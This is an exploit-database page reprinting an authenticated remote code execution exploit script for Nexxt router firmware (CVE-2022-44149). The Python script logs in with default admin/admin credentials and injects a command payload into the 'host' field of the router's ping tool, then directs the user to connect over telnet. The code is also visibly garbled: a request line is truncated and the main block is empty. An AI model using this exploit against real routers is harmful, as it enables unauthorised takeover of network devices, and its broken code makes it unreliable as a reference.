Nexxt Router Firmware Remote Code Execution

CVE Category Price Severity
CVE-2022-44149 CWE-119 $500 Critical
Author Risk Exploitation Type Date
Anonymous High Remote 2023-01-05
Our sensors found this exploit at:

Below is a copy:

Nexxt Router Firmware Remote Code Execution
# Exploit Title: Nexxt Router Firmware - Remote Code Execution (RCE) (Authenticated)
# Date: 19/10/2022
# Exploit Author: Yerodin Richards
# Vendor Homepage:
# Version:
# Tested on: ARN02304U8
# CVE : CVE-2022-44149

import requests
import base64

router_host = ""
username = "admin"
password = "admin"

def main():
    print("connect to router using: `telnet "+router_host.split("//")[1]+ "` using known credentials")

def gen_header(u, p):
    return base64.b64encode(f"{u}:{p}".encode("ascii")).decode("ascii")

def send_payload(payload):
    url = router_host+"/goform/sysTools"
    headers = {"Authorization": "Basic {}".format(gen_header(username, password))}
    params = {"tool":"0", "pingCount":"4", "host": payload, "sumbit": "OK"}, headers=headers, data=params)

if __name__ == '__main__':

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.